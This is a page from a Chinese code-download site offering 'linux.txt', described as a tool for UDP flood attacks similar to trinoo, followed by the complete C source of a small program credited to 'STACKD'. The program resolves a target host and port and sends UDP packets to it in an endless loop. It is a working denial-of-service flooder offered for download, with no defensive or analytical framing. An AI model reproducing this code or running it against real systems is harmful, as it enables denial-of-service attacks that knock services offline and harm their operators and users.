⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 linux.txt

📁 linux下模拟udp的泛洪攻击,类似trinoo和udp flooder
💻 TXT
字号:
Linux下用gcc 3.4.3编译通过。也可以在BSD平台下使用,但无法在WINDOWS平台下编译,缺少相应的库函数和头文件 
#define STD2_STRING "std"
#define STD2_SIZE 50
#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>

int echo_connect(char *, short);

int echo_connect(char *server, short port)
{
   struct sockaddr_in sin;
   struct hostent *hp;
   int thesock;
   hp = gethostbyname(server);
   if (hp==NULL) {
      printf("Unknown host: %s\n",server);
      exit(0);
   }
   printf(" STD.C -- Packeting %s:%d\n ", server, port);
   bzero((char*) &sin,sizeof(sin));
   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
   sin.sin_family = hp->h_addrtype;
   sin.sin_port = htons(port);
   thesock = socket(AF_INET, SOCK_DGRAM, 0);
   connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
   return thesock;
}


main(int argc, char **argv)
{
   int s;
   if(argc != 3)
   {
      fprintf(stderr, "[STD2.C BY STACKD] Syntax: %s host port\n",argv[0]);
      exit(0);
   }
   s=echo_connect(argv[1], atoi(argv[2]));
   for( ; ;  )
   {
      send(s, STD2_STRING, STD2_SIZE, 0);
   }
}




⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -